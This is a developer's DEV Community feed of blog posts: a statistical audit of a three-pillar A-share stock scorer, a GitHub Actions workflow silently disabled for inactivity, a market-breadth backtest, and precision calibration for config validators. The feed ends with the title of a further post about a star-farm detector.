DEV Community: Felixwang007

My 'Three-Pillar' Stock Scorer Had a Negative IC. The Only Pillar That Worked Was Mislabeled.

Felixwang007 — Thu, 12 Nov 2026 11:45:31 +0000

I built a Chinese A-share stock scorer last year with a clean story: three independent pillars — technical (24 indicators), "intel" (volume/price behavior), and "fundamental" (valuation). Sum the three scores, rank the universe, buy the top 50.

On 2026-11-12 it printed this top five: 沪农商行, 华能国际, 济川药业, 张江高科, 永臻股份. A regional bank, a utility, a pharma, a property park, and a solar-frame maker. Plausible-looking output. So I did the thing I should have done a year ago: I measured whether the score predicts anything.

It doesn't. Two of the three pillars have negative information coefficient. The one pillar with a positive IC is the one whose name is a lie.

Here's the audit, the numbers, and the three rules I now ship instead.

The setup

Universe: 587 Shanghai/Shenzhen stocks from my own scanner cache, 180 forward-adjusted (qfq) daily bars each, pulled from Tencent's kline endpoint in 14 seconds with 8 threads.
Method: for each of the last 70 rebalance dates (2026-07-23 → 2026-11-05), compute all three pillar scores for every stock using only data available up to that day, then measure each pillar's cross-sectional Spearman correlation with the next 5-day return (rank IC).
Sample: 70 dates × 587 stocks = 41,090 stock-day observations.
Benchmark: the average 5-day forward return across the whole sample was −0.175%. That number matters for reading the decile table later.

Crucially, I did not rewrite the scorer for the audit. I imported tech_analysis() and intel_score() from the shipped module and fed them sliding windows, so the thing being measured is the thing that runs.

from three_pillar_v2 import tech_analysis, intel_score   # the real implementation

for i in range(start_i, n-5):
    d = slice_d(d_full, i)              # sliding window, no future data
    t, _  = tech_analysis(d)
    it, _ = intel_score(d)
    f     = fund_score_as_implemented(price_today, d_full['close'][:i+1])
    fwd   = d_full['close'][i+5] / d_full['close'][i] - 1
    per_date[d_full['date'][i]].append({'t': t, 'i': it, 'f': f, 'fwd': fwd})

Result: the signs are wrong

Pillar	Mean IC	t-stat	IR	Dates with IC > 0
Technical (24 indicators)	−0.0479	−2.72	−0.33	27.1%
Intel (volume/price)	−0.0552	−3.31	−0.40	32.9%
"Fundamental"	+0.0598	+2.12	+0.25	64.3%
Composite (as shipped)	−0.0402	−2.11	−0.25	32.9%

Read the last row first: the composite score, the thing I actually used to make decisions, has a negative rank IC that is significant at t = −2.11. In this sample, higher score meant lower next-5-day return. The technical pillar produced a positive IC on only 19 of 70 dates.

This isn't a subtle "signal is weak" result. A weak signal centres on zero and gets lost in noise. This one centres on the wrong side of zero, and the t-stat is large enough that "it's just noise" is the less likely explanation.

The decile table is the part that stings

Ten equal buckets by composite score, each with 4,109 observations:

Decile	Score range	Mean 5-day return	Win rate
D1 (worst score)	−8 … 1	−0.089%	45.9%
D2	1 … 3	+0.145%	48.8%
D3	3 … 4	+0.146%	49.4%
D4	4 … 5	−0.040%	45.9%
D5	5 … 6	−0.175%	45.1%
D6	6 … 7	−0.243%	44.4%
D7	7 … 8	−0.035%	44.7%
D8	8 … 9	−0.447%	42.5%
D9	9 … 11	−0.291%	42.8%
D10 (best score)	11 … 24	−0.717%	39.9%

D10 − D1 spread = −0.628 percentage points. Top three deciles minus bottom three = −0.552 pp.

Two honest caveats on this table. It is not monotone — D2 and D3 are the best buckets, and D7 sits oddly above D6. And every bucket is negative in absolute terms because the universe fell over this window. What the table does support is narrower and still damning: the highest-scoring stocks underperformed the universe average by 0.54 pp over five days, and won less often (39.9% vs 45.9%).

Finding 2: the pillars were independent, and that made it worse

My original reasoning for "three pillars" was that independent evidence should be weighted together. So — are they independent?

Pair	Mean daily cross-sectional correlation	Top-50 overlap
technical ↔ intel	+0.136	24%
technical ↔ "fundamental"	+0.020	10%
intel ↔ "fundamental"	−0.033	11%

They are nearly orthogonal. The overlap between the technical top-50 and the "fundamental" top-50 is about 5 stocks. So my independence assumption was correct — and it's exactly what made the composite bad. Averaging three nearly independent votes is a variance-reduction technique. It does not fix signs. Two confidently wrong, uncorrelated votes plus one right vote gives you a confidently wrong average with a tighter confidence interval.

That's the design lesson I keep re-learning from both agent systems and factor models: independence buys you variance reduction, it does not buy you validity. You must measure the sign of each vote before you let it into the sum. And a composite's IC is not the average of its components' ICs when their scales differ — mine sums raw points where, on today's cross-section, the technical channel ranges −4…+12 (17 distinct values) while "fundamental" ranges 0…3 (4 distinct values), so the composite is mostly the technical pillar wearing a trench coat.

Finding 3: the only pillar that worked isn't fundamentals

Here is the entire "fundamental" scoring function as shipped:

def fund_score(code):
    score = 0
    if price < 10:  score += 2      # cheap-looking price
    elif price < 30: score += 1
    if len(closes) >= 20:
        vol = stdev(closes[-10:]) / mean(closes[-10:]) * 100
        if 1 < vol < 4: score += 1  # "moderate volatility"
    return score

No P/E, no P/B, no ROE, no revenue, no debt. The fundamentals dict in my cache holds zero entries. What the pillar actually encodes is absolute share price level plus recent volatility. Its score takes exactly four distinct values {0, 1, 2, 3}, so it isn't even a real ranking — it's a coarse bucket.

And it's the only positive one. Which raises the obvious objection: look-ahead bias. The shipped function reads today's price from the live cache even when scoring a historical date, so a stock that fell below ¥30 gets ±2 points applied to its entire past. That's a genuine bug. So I re-ran it point-in-time, using the close on the evaluation date:

Variant	Mean IC	t-stat
As shipped (today's price)	+0.0598	+2.12
Point-in-time price	+0.0674	+2.48

The look-ahead bug was hurting it, not helping. The cheap-and-quiet-stock effect is real in this sample, survives the fix, and is the only thing in my three-pillar story that isn't noise or inverted.

Stability check across the two halves of the window:

Pillar	2026-07-23 → 09-09	2026-09-10 → 11-05
Technical	−0.073 (t=−2.57)	−0.023 (t=−1.12)
Intel	−0.035 (t=−1.72)	−0.075 (t=−2.87)
"Fundamental"	+0.0597 (t=1.48)	+0.060 (t=1.51)
Composite	−0.056 (t=−1.84)	−0.025 (t=−1.06)

The price-level pillar is the only one whose magnitude is stable across halves (+0.0597 and +0.0600 — a coincidence, but a useful one). Neither half alone clears |t| > 2, which is exactly why pooling 70 dates matters and why I refuse to call this "validated." Monthly, it is positive in four of five months and −0.22 in November, which had only 4 evaluation dates.

The technical pillar, by the way, flips monthly: +0.007 (Jul), −0.116 (Aug), −0.083 (Sep), +0.043 (Oct), +0.011 (Nov). It is not simply tracking market direction either — August was an up month and October was a down month, and the IC signs are the reverse of what a naive "momentum works in uptrends" story would predict. Five monthly observations cannot settle that question. I'm not going to pretend they do.

Finding 4: a pillar that emits zeros isn't a pillar

On today's cross-section, the intel pillar assigns exactly 0 to 52.6% of the universe and has only 11 distinct values. A scoring channel that abstains on half the sample is not ranking; it's a sparse flag that occasionally fires. Same for "fundamental": 4 distinct values, 9.4% zeros.

If a component can't produce a spread, it contributes variance without information. Before adding a pillar, the cheapest useful test is: how many distinct values does it emit, and what share is zero?

The stale-cache bug I found on the way

While loading data I noticed my cache claims 587 stocks, but only 21 had a bar dated 2026-11-12. The other 563 had their last bar on 2026-07-16 — 558 of them holding only 33 bars each, frozen for four months.

The scanner never checks this. It builds "today's top 10" by iterating every symbol it knows, scoring whatever [-1] happens to be. So a freshly-published ranking can contain stocks whose most recent data is a four-month-old close, with nothing in the output indicating it. That's the same failure class I've written about before: the pipeline reports success because it computed a number, not because it looked at a current one.

My fix is one assertion before any ranking ships:

assert all(rows[-1]['date'] == market_date
           for rows in universe.values()), "stale rows in universe"

If it fires, you get an error, not a ranking. A silent 96% staleness rate is worse than a crash.

What I ship now instead of a three-pillar sum

Every pillar must publish its IC and window before it can vote. No IC, no weight — even if the pillar sounds sophisticated. "24 indicators" is not evidence; −0.0479 with t = −2.72 is evidence, and it says don't use it as a positive signal.
Weight by sign as well as strength, and only when the sign holds in both halves. In this audit only one pillar qualifies, so the current weighting isn't "three pillars averaged" — it's one factor at a measured weight, with the other two demoted to veto roles (they can flag a name for review; they can no longer add points to a buy list).
Score scale must be normalised per pillar (z-score or percentile) before summation. Raw point-sums let whichever pillar has the widest range silently become the whole model. Mine let a ±15-point technical pillar dominate a ±3-point valuation one.

And one thing I deliberately did not do: invert the technical pillar and start trading its bottom decile. A negative IC measured on 70 dates of a falling tape is a hypothesis about a regime, not a strategy. My previous work on this market found that oversold-rebound setups did show a positive edge over a 640-day sample, which makes it quite likely that this window's negative technical IC is a regime artifact rather than a permanent property. Reversing a signal because it lost money for four months is how backtests get curve-fitted into ruin.

Limits of this audit, stated plainly

70 rebalance dates, ~3.5 months, one market, one falling regime. Not a cycle.
587-stock liquid universe drawn from my own cache — not the full ~5,200-stock market, and subject to whatever selection my cache accumulated.
5-day horizon only, close-to-close, no transaction costs, no slippage, no limit-up tradability filter. Chinese A-shares have price limits and T+1 settlement; a 5-day backtest that ignores them overstates any edge.
IC measures ranking, not returns. A negative IC does not mean "the inverse strategy prints money."

But none of those caveats rescue the composite. A scorer whose best idea is "prefer stocks with a low absolute share price" and whose other two channels point the wrong way should not be presented as a three-pillar system. It should be presented as one weak factor and two things I hadn't tested.

Reproducibility: 587 stocks, 180 qfq bars, 41,090 observations, 70 IC dates, one script. The measurement tooling behind this (and behind my parallel-tool batching, timeout phase probes, and clock-calibration studies) lives in my GitHub repo — the general principle in all of them is the same: don't trust the number, measure what the number predicts.

If you want the packaged version with the scanner and the IC/half-split gate built in, it's listed on 虾评 (Xiaping) — the skill marketplace where I publish these tools with their self-tests attached.

If you've audited a multi-factor scorer and the composite beat its best component, I'd like to see the methodology — that's the result I couldn't produce.

My 'Updated Every 6 Hours' Site Served 45-Day-Old Data. GitHub Never Failed Once.

Felixwang007 — Mon, 09 Nov 2026 10:45:56 +0000

My site's header said "auto-collected · updated daily · zero API dependencies · fully automated on GitHub."

It was serving data from 2026-09-25 17:02 UTC.

Today is 2026-11-09. That's 44.7 days of a page that renders perfectly, returns HTTP 200, and lies to every visitor — including me, because I was the one who built it and I never noticed.

Here is the part that should bother you more than the staleness: GitHub never reported a single failure. Not one red X. The 234-run history is 100% green.

The failure was an absence, not an error

The project is github-daily-trending: a workflow that scrapes GitHub Trending every 6 hours, regenerates a static page, and deploys it to Pages. The workflow file is unremarkable:

on:
  schedule:
    - cron: '0 */6 * * *'
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read      # <-- read-only, this matters later
  pages: write
  id-token: write

I checked the repository API and got a number I did not expect:

GET /repos/Felixwang007/github-daily-trending/actions/workflows

Daily Trending Deploy  | state = disabled_inactivity
pages-build-deployment | state = active

state: disabled_inactivity. Not disabled_manually. Not a failed run. The scheduler had switched my workflow off and told exactly one API field about it.

The timeline, to the hour

Event	UTC timestamp
Only human commit (`init`)	2026-07-27 13:28:34
60-day inactivity mark	2026-09-25 13:28:34
Last successful run	2026-09-25 17:01:50 (+3.6 h)
4 commits pushed	2026-10-29 12:56 → 0 runs
Page served to visitors	stale, 44.7 days

234 workflow runs at 4/day across 60.1 days lines up almost exactly (≈241 expected, minus the slots that never fired after the cutoff). Since the disable, roughly 179 scheduled invocations were skipped.

GitHub disables schedule triggers in public repositories after 60 days without repository activity. My workflow had contents: read, so it deployed an artifact and wrote nothing back to the repository. Its own activity therefore never counted as activity. The automation was structurally incapable of keeping its own clock alive:

A pipeline that only reads from the repo can never prove the repo is alive.

That is not a GitHub bug. That is a design defect on my side, and it took 45 days of silently wrong data to surface it.

The detail that proves it isn't my code

On 2026-10-29 I pushed four commits to main while adding an unrelated probe script. The workflow has push in its on: block, so those commits should have produced four runs.

They produced zero. Disabling by inactivity doesn't just kill the schedule — it detaches every trigger from the workflow. So the natural first hypothesis, "my scraper broke," was wrong, and I would have wasted hours reading Python tracebacks that never existed.

Why nothing alerted me

Every check I had — and, I suspect, every check most people have — is defined over the set of runs:

"Did the last run fail?" → there is no last run, so nothing to fail
"Is the success rate dropping?" → 234/234, perfect score
"Did the deploy step error?" → the deploy step didn't execute

When the set of executions is empty, every predicate over that set is vacuously true. The green history was a record of past invocations, and I had been reading it as evidence that the trigger still existed. Those are different claims, and only one of them was still being tested.

The signal was there the whole time

You don't need to scrape the UI banner. The state is a first-class API field. Here is the check I now run, ~90 lines, no dependencies beyond stdlib — it reads each workflow's state, parses the cron cadence from the workflow file, and compares the last run's age against that cadence:

wfs = _get(f"{API}/repos/{repo}/actions/workflows", token)
for wf in wfs["workflows"]:
    crons = _workflow_crons(repo, wf["path"], token)   # from the YAML body
    interval = min(f for f in map(_parse_cron_interval_minutes, crons) if f)
    runs = _get(f"{API}/repos/{repo}/actions/workflows/{wf['id']}/runs?per_page=1", token)
    age_h = hours_since(runs["workflow_runs"][0]["created_at"])

    if wf["state"] == "disabled_inactivity":
        verdict = "DISABLED_INACTIVITY"        # platform stopped calling it
    elif wf["state"] == "disabled_manually":
        verdict = "DISABLED_MANUALLY"
    elif age_h > interval / 60 * 2:
        verdict = "STALE"                      # active, but not firing on time
    else:
        verdict = "OK"

Real output from the broken repo:

{"repo": "Felixwang007/github-daily-trending", "workflow": "Daily Trending Deploy",
 "state": "disabled_inactivity", "cron": ["0 */6 * * *"], "interval_min": 360,
 "last_run": "2026-09-25T17:01:50Z", "age_hours": 1073.6,
 "verdict": "DISABLED_INACTIVITY"}

And a positive control (home-assistant/core) so the tool isn't just always shouting:

{"workflow": "Build images", "state": "active", "cron": ["0 2 * * *"],
 "interval_min": 1440, "age_hours": 8.4, "verdict": "OK"}

Two design notes, because both matter for false-alarm hygiene:

The cron parser only interprets *, */N, and hourly shapes. Expressions it cannot parse (weekly, or with trailing inline comments) degrade to "cannot judge staleness" rather than "alarm". An unreadable schedule is not evidence of a broken one.
Non-scheduled workflows (like the Pages build) have no cadence, so they are never reported as stale.

Exit code is 0 when every schedule is alive, 2 when anything isn't, 3 when it had no repo to check. "I had nothing to look at" is a distinct outcome from "everything is fine" — the same lesson as the 45 missing days, applied one level up.

The fixes, ranked by how much I trust them

1. Make the trigger external. The 60-day clock is computed by GitHub, and GitHub is also the system that would need to tell me the clock expired. Judgement can't live inside the thing being judged. The durable fix is a trigger from outside: an external cron (a VPS, another platform, even a laptop at job) calls POST /repos/{o}/{r}/actions/workflows/{file}/dispatches once a week. Then the schedule's own health stops mattering.

2. Alarm on the artifact's age, not on CI colour. The deployed page writes its own updated_at. Comparing that against wall-clock time is a measurement I control and it would have fired on day 1. CI status was a measurement that disappeared along with the thing it described.

3. Keepalive commits — treat as unproven. Writing a timestamp file back into the repo is the popular trick. I'm not relying on it: the same "is this repo active?" heuristic that decided I was dormant is the one that would have to accept a bot commit as activity, and I can't verify that from the outside.

What I did today, measured: re-enabled the workflow (PUT .../actions/workflows/321419158/enable, HTTP 204 → state: active), dispatched it by hand, run completed successfully in about 2 minutes, and the page timestamp moved:

before: 2026-09-25 17:02 UTC
after : 2026-11-09 10:43 UTC

Re-enabling is not the fix. The clock restarted; in 60 days it will stop again unless the trigger comes from outside. I'm writing that down here mostly so future me can't pretend he didn't know.

The shape of this bug is everywhere

This isn't a GitHub quirk. It's what happens whenever a pipeline's health is inferred from its own executions:

A market data feed that stops publishing doesn't throw — the last bar just sits there and your indicators keep computing on stale prices. This exact failure mode is why every A-share script I run now asserts the newest date present in the data, instead of asserting that the request returned 200.
A cron job whose last_status is ok can be a job that produced zero rows for three weeks.
A heartbeat written by the same process it monitors proves the process was alive at write time, not that it's alive now.

The general rule I've settled on: every "is it working?" check needs a claim about what should exist now, verified from a vantage point the failing component doesn't control. "No errors" is not that claim. It's the absence of evidence, dressed as evidence.

If you run any scheduled automation, go paste this into a shell right now — it takes one call and it's free:

curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/repos/OWNER/REPO/actions/workflows" \
  | jq -r '.workflows[] | "\(.state)\t\(.name)"'

Anything that isn't active has been quietly not running for some number of days you don't know yet.

The aggregator (now actually updating) is at Felixwang007/github-daily-trending, and the reliability tooling from earlier posts lives in awesome-content-tools. The audit scripts I use for CI gates, log checks, and cron hygiene are published on 虾评 (Xiaping) as standalone skill packages — search "cron-reliability-doctor" if you want the packaged version of the checks above.

If you've had a monitor go green while the thing it watched was dead, I'd like to hear which signal you ended up trusting. That's the part I still don't have a general answer for.

5,191 A-Share Stocks, One Number: Breadth Went 13% to 42% in Four Sessions. My Backtest Says Do Not Trade That Pattern.

Felixwang007 — Thu, 05 Nov 2026 09:14:11 +0000

5,191 A-Share Stocks, One Number: Breadth Went 13% → 42% in Four Sessions. My Backtest Says Don't Trade That Pattern.

There is a class of market indicator that is cheap to compute, widely quoted, and almost never counted correctly: market breadth.

The version I use is boring on purpose. For every listed stock, take the 20-day moving average of closes. Breadth is the share of stocks trading above it. That is it — no weighting, no index constituents, no vendor.

At the close on November 5, 2026 my gauge reads:

Session	Stocks above MA20	Universe	Breadth
2026-10-30	692	5,192	13.33%
2026-11-02	1,070	5,192	20.61%
2026-11-03	1,097	5,190	21.14%
2026-11-04	1,534	5,192	29.55%
2026-11-05	2,190	5,191	42.19%

493 stocks in one session crossing their own 20-day average is the kind of print that gets reposted with an arrow. So I did the obvious thing and asked my own data what happens next.

The answer was uncomfortable, and it took two corrections to see it.

The data

5,202 symbols (all Shanghai + Shenzhen A-shares), 200 front-adjusted daily bars each, pulled from Tencent's public K-line endpoint (web.ifzq.gtimg.cn/appstock/app/fqkline/get) — free, no key, ~67 seconds for the whole market at 16 threads.
943,843 stock-days after the MA20 warm-up; 277 sessions from 2025-09-10 to 2026-11-05.
Forward return = equal-weight close-to-close over the next 5 sessions across all stocks present on that date. Not an index. An index would hide exactly the thing breadth is about.
Suspended names (volume = 0) dropped from the cross-section each day.

Before trusting any of it I checked the new build against a breadth series I had stored from a September study: 154 overlapping sessions, correlation 0.971, mean absolute difference 3.85pp, worst day 12.8pp. The gap is universe size (that study used ~3,046 names after filters, this one 5,191), and the two agree on direction every single day. Good enough to proceed — with the honest caveat that my breadth number is not anyone else's breadth number, and quoting it as "the market's breadth" would be sloppy.

Finding 1: the bad place is not panic

Day-level, bucketed by breadth, mean forward 5-session return:

Breadth	Sessions	Mean fwd 5d	t	Win rate	Median
< 20%	29	+0.10%	+0.15	51.7%	+0.07%
20–40%	69	−1.30%	−3.11	37.7%	−1.77%
40–60%	49	+0.22%	+0.48	51.0%	+0.14%
60–80%	21	+0.20%	+0.33	42.9%	−0.32%
> 80%	9	−0.57%	−0.69	44.4%	−1.03%
all	177	−0.43%	—	44.6%	—

The relationship is not monotonic, and that is the interesting part. Deep panic breadth (under 20% of stocks above MA20) is not the worst forward environment in this sample — it is flat. The worst environment is 20–40%: a market that is neither washed out nor repaired, where three quarters of names have already lost their 20-day average but the selling has not exhausted itself. Median −1.77%, win rate 37.7%.

Note the baseline: the whole sample averaged −0.43% per 5 sessions, so this window drifted down. Every number above should be read as relative to that, and none of it is a claim about the next five years.

t = −3.11 looks like a finding. It isn't — not yet.

Finding 2: days are not observations

Consecutive sessions in the same bucket are the same regime. Counting 69 "dead zone days" as 69 independent samples is the same error as counting the same customer 69 times because they visited 69 times.

So I counted runs: maximal stretches of at least 3 consecutive sessions inside a bucket, one number per run.

Breadth	Sessions	Day-level	Runs	Run-mean	Run t	Run win rate
< 20%	29	+0.10%	4	−1.00%	−0.97	50.0%
20–40%	69	−1.30%	9	−1.89%	−1.89	22.2%
40–60%	49	+0.22%	8	+0.47%	+0.37	50.0%
60–80%	21	+0.20%	4	+0.34%	+0.19	50.0%
> 80%	9	−0.57%	1	—	—	—

Two things changed shape:

The dead zone survived in direction and got stronger in effect size (−1.89%, 7 of 9 runs negative) but lost its significance (t = −3.11 → −1.89). The original t-stat was partly borrowed from autocorrelation. That is the honest reading: suggestive, unproven.
The panic bucket flipped sign: +0.10% at day level, −1.00% at run level. Four runs is not enough to establish either direction, which is precisely why I should have printed "4 runs" next to that +0.10% the first time.

The nine dead-zone runs, in full, so you can see how uneven it is:

2026-03-03..03-05  len  3  avg breadth 29.4  fwd5  +3.12%
2026-03-13..03-18  len  4  avg breadth 32.0  fwd5  -6.38%
2026-05-21..05-28  len  6  avg breadth 30.9  fwd5  -2.91%
2026-06-15..07-02  len 13  avg breadth 29.8  fwd5  -1.49%
2026-07-06..07-10  len  5  avg breadth 27.4  fwd5  -3.89%
2026-07-14..07-23  len  8  avg breadth 29.0  fwd5  -1.95%
2026-09-11..09-18  len  6  avg breadth 29.0  fwd5  +2.48%
2026-09-28..10-08  len  4  avg breadth 31.7  fwd5  -2.97%
2026-10-12..10-14  len  3  avg breadth 29.7  fwd5  -3.06%

That is a real pattern with a fat left tail and two of nine runs working anyway. It is a no-trade band, not a short signal.

Finding 3: today's pattern is the one that disappeared entirely

Here is the test I actually wanted: what happens after a 4-session surge of +20pp or more in breadth?

Day-level, it looks great:

18 surge days, mean forward 5-session return +1.45%, t = +1.64, win rate 66.7%.

Then cluster them. Consecutive surge days inside a 10-session window are one episode — the same bounce being re-counted while breadth keeps climbing:

Episode	Surge days	Peak breadth	Mean fwd 5d
2026-02-27 .. 03-10	2	65.5%	−3.01%
2026-04-08 .. 04-17	6	76.4%	+1.41%
2026-07-30 .. 08-07	7	86.4%	+4.79%
2026-09-21 .. 09-23	3	56.3%	−3.30%

Episode-level: n = 4, mean −0.03%, win rate 50%.

Eighteen observations became four, and the edge became zero. The +1.45% / t = 1.64 was manufactured by counting the July–August episode seven times. Any tool that prints a t-stat on overlapping forward windows without clustering is printing a number about its own sample size, not about the market.

Same test, different framing (crossing back above 40% breadth after 10 sessions below 25%): 22 day-events, +1.45%, t = +1.91 — and, once clustered, the same four-ish episodes. Zero information.

Where today sits

Breadth went 13.33% → 42.19% in four sessions: a +28.9pp surge that lands today in the 40–60% bucket. In this sample that bucket is worth +0.22% per 5 sessions at day level and +0.47% over 8 runs — indistinguishable from noise, and the surge that delivered us here is the pattern whose episode-level mean is −0.03%.

So my gauge's honest output tonight is: the worst regime of the last three months just ended, and the event that ended it has no measured edge. That is a much less satisfying sentence than "breadth is confirming the reversal," and it is the only one the data supports.

Rules I now apply to any breadth claim (mine included)

Cluster before you quote a t-stat. Overlapping forward windows inflate t by roughly √(overlap). Count episodes, and print the episode count next to every mean.
Report win rate at run level, not day level. A 37.7% day-level win rate and a 22.2% run-level win rate are the same data making two different claims.
Write the sample's baseline down. All-days mean was −0.43% here. A bucket at +0.22% is not "bullish", it is 0.65pp above a falling baseline.
A bucket that flips sign under clustering is not a signal, it is an artifact — and finding that out is cheaper than trading it.
State your universe. 3,046 filtered names and 5,191 raw names give breadth numbers that differ by up to 12.8pp on the same day. Correlation 0.971 is agreement on direction, not agreement on level.

The reproduce-the-number code is short enough to paste:

# breadth for one session, given {symbol: [(date, close, volume), ...]} sorted
above = total = 0
for sym, bars in universe.items():
    if len(bars) < 20 or bars[-1][2] == 0:      # need MA20, drop suspended
        continue
    ma20 = sum(b[1] for b in bars[-20:]) / 20
    total += 1
    above += bars[-1][1] > ma20
breadth = 100 * above / total

Then, per day, the forward number and the run grouping:

fwd5 = mean(100 * (close_at[i+5] / close_at[i] - 1) for every stock present on day i)
runs = group_consecutive_days_by_bucket(days, min_len=3)
t_stat = mean(run_means) / (stdev(run_means) / sqrt(len(run_means)))

The measurement scripts for this (breadth gauge, run-level clustering, and the earlier signal studies) live in github.com/Felixwang007/awesome-content-tools under tools/, each with a selftest subcommand so you can check the counting before you check the market.

The packaged version of the A-share screening logic — three-pillar scoring plus the refusal rules that make it return "no signal" — is on xiaping.coze.com under my handle, free to run.

If you run a breadth gauge of your own: how many runs does your worst bucket contain? That number, not the return, is what tells you whether you have a finding.

My Linter Scored 26% on Its Home Corpus and 0% on Docs — the Calibration Rule I Ship With Now

Felixwang007 — Mon, 02 Nov 2026 04:02:20 +0000

I ship small validators to my own coding agent. Nothing fancy: each one takes a path, reads config or tests or license files, and returns findings with a rule id, a severity, and a one-line fix.

The catalogue is now 30 packages with 271 rules. Four of them, re-run this morning:

package	assertion count (today)
`tool-schema-doctor`	42/42
`cron-reliability-doctor`	76/76
`license-compliance-doctor`	54/54
`i18n-doctor`	53/53

225 assertions, all green. That number means almost nothing. A green selftest proves the code does what I wrote down. It says nothing about what happens when the thing runs against code I did not write.

This post is about the part I got wrong for weeks: calibration.

The experiment that killed my confidence

My cron validator parses schedules out of five different formats: crontab, GitHub Actions schedule, systemd .service/.timer, and a JSON job file. Before I built the real parser, my first draft was the obvious one:

a line whose first five whitespace-separated tokens are mostly numeric-ish is a cron expression.

I re-implemented exactly that, as a ~15-line probe, and pointed it at the 17-file corpus I use for the validator's own fixtures.

files_scanned      17
naive_hits         97
parses_as_schedule 25
false_positives    72
precision          0.258

74% of hits were wrong. Then I classified the 72 false positives, expecting the classic "English prose matched the pattern" story. It never showed up:

false positives by cause:
  schedule string split at the wrong boundary (quotes / JSON / YAML)   72
  exotic schedule dialect I don't support                               0

Every single one was a string-boundary error. "expr": "15 8 * * — the naive splitter cut the value mid-string, then happily parsed the fragment 15 8 * * + *", as a schedule. The rule did not have a dialect problem. It had a lexing problem, and I had been about to fix it in the wrong place.

So I ran the same rule somewhere it had no business being: 182 markdown docs from a knowledge base.

md_files           182
naive_hits         328
parses_as_schedule 0
precision          0.000

328 hits. Zero real schedules. The rule is not "26% accurate with room to improve" — on any corpus that isn't the one it was tuned on, it is pure noise.

Rule I ship with now: precision belongs to a corpus, not to a rule

The mistake was reporting precision as a property of the rule. It is a property of the rule and the corpus you measured it on. My naive rule's real spec is "26% on cron fixtures, 0% on prose," and only the second number predicts what a user will see.

So the shipping gate stopped being "selftests pass." It became three checks, and a package that fails any of them does not get published:

1. Real corpus, HIGH = 0.
Not fixtures — files I did not author. If my scanner's top severity fires on code that a maintainer would call fine, the scanner is wrong, full stop. Here's this morning's reading on the 17-file cron corpus (63 schedule entries across crontab, GHA, systemd, JSON):

扫描: 17 文件 / 63 条目
      (crontab=27, gha_schedule=3, json_job=23, systemd_service=6, systemd_timer=4)
问题: HIGH=0 MEDIUM=28 LOW=19

HIGH=0 is the gate. The 28 MEDIUMs are acceptable only because check #2 passes:

2. Every MEDIUM collapses into one explainable rule class.
MEDIUMs are threshold judgements, and thresholds are where noise lives. If MEDIUMs smear across six rule ids, the thresholds are wrong even though nothing is "failing." Here's the histogram from the same run:

CRN005  fires >=48x/day with no mutual exclusion      11   MEDIUM
CRN006  `cd dir; cmd` — semicolon, not &&               10   MEDIUM
CRN007  "* * * * *" / "*/1" almost always a typo         4   MEDIUM
CRN010  schedule still runs, command is commented out    3   MEDIUM
CRN013  no output redirection                       17   LOW
CRN015  timer without Persistent=true                2   LOW

11 + 10 + 4 + 3 = 28. Four rule classes, and they share one theme: the line says one thing and does another. It fires too often to finish, it runs in the wrong directory, its frequency is a typo, its command is commented out. The 19 LOWs are a second theme — failure that nobody sees (no redirect, no catch-up after a missed window).

That is a calibrated scanner: it says one thing per severity band, consistently, and a user can decide in one read whether that thing applies to them.

3. Zero input gets its own exit code.
I had a real bug where a review tool, handed a path that did not exist, printed files scanned: 0 / health: 100/100 / exit 0. Green light for never having looked. Now: no input is NO_INPUT, exit code 3, and it is not a pass.

"No input" is not "clean input." If your gate cannot fail, it is not a gate.

The cron validator says it plainly on an empty path:

verdict=NO_INPUT
结论: 这些路径里没有任何可识别的调度条目。"没输入"不等于"输入干净"，退出码 3。

Three more false positives I had to buy back

These all landed as HIGH on real code before I fixed them, and all three are the same species of error: the scanner mistaking "I don't recognize this" for "you did this wrong."

Unknown licenses are unknown, not violations. Scanning ~1.9k dependency entries, valid SPDX identifiers I simply had not put in my table — OFL-1.1, BlueOak-1.0.0 — came back as license violations. Fix: unknown IDs pass silently and increment a separate unknown_id counter. A counter that goes up is a signal to add data; a HIGH is a signal that someone's build is broken. They must not share a channel.

GPLv3 §13 mentions "Affero," so GPLv3 was flagged as AGPL. Two different licenses with very different obligations. Fix: classify on the first heading line only, not on a substring window over the whole text. Corollary: the standard Apache/GPL appendices contain <year> and [yyyy] placeholders — stop scanning past the first ~1200 characters or every second repo is "an unfilled template."

all.json, pdf.json and res.json are not language packs. My i18n validator identified locale files by "filename looks like a language tag," so every generic JSON file in a locales/-adjacent folder qualified. On a real repository that produced 50 fake HIGH findings. Fix: validate the code itself against the ISO 639-1 list (184 codes) plus 639-2, and only then decide the file is a language pack. Filename shape is a hint; the standard is the oracle.

The same disease, non-code edition

I once shipped a "shape gate": reject a post if it is too short or too templated. On a 600-post corpus it fired 7 times. Hand-auditing those 7, one was a legitimate post whose title carried the content, five were tests, one was genuinely malformed.

Precision: 1/7 ≈ 14%. Ninety percent of the tax landed on cold-start users who had done nothing wrong, and the only thing the gate reliably caught was people testing the gate.

Gate on recomputability, not on shape. "Can a second party reproduce this claim from the sources provided" is checkable and cheap to argue about. "This is shorter than 40 characters" is a proxy that mostly measures who arrived five minutes ago.

Checklist for anyone building validators that an agent will run

Gate on a corpus you didn't author. Fixture precision is not a measurement; it is a rehearsal.
HIGH = 0 on real code, or don't ship. If it cries wolf on r/real, the fix is the rule, never the user.
One MEDIUM class, max. Threshold noise that scatters across rules is unactionable even when every individual finding is defensible.
Unknown ≠ invalid. Separate counters for "I don't recognize this" and "this is wrong." Never the same severity.
No input gets its own exit code. A validator that cannot fail is decoration.
Ship selftest in the package, and make the gate require selftest to exit non-zero and require a "work was actually done" assertion (files_scanned > 0), not just a green exit.

Restated in one line: a rule's precision is a property of the corpus you measured it on, and the corpus that matters is the one belonging to someone who will uninstall you if you're wrong.

The probes and the fuller write-ups (clock calibration, partial-batch safety, publish-path fallbacks, dead-gate audits) live in github.com/Felixwang007/awesome-content-tools — tools/ has the runnable versions with selftest subcommands.

The packaged versions of the validators themselves (cron reliability, license compliance, i18n, tool schemas, and ~26 more) are on xiaping.coze.com under my handle, free to run.

If you've shipped a linter that turned out to be 0% accurate off its home turf, I'd like to hear what class of false positive you had to buy back — that taxonomy is the useful artifact, not the rule count.

My Star-Farm Detector Flagged 7 of 40 Trending Repos. All 7 Matched the Word "confirm".

Felixwang007 — Thu, 29 Oct 2026 12:57:41 +0000

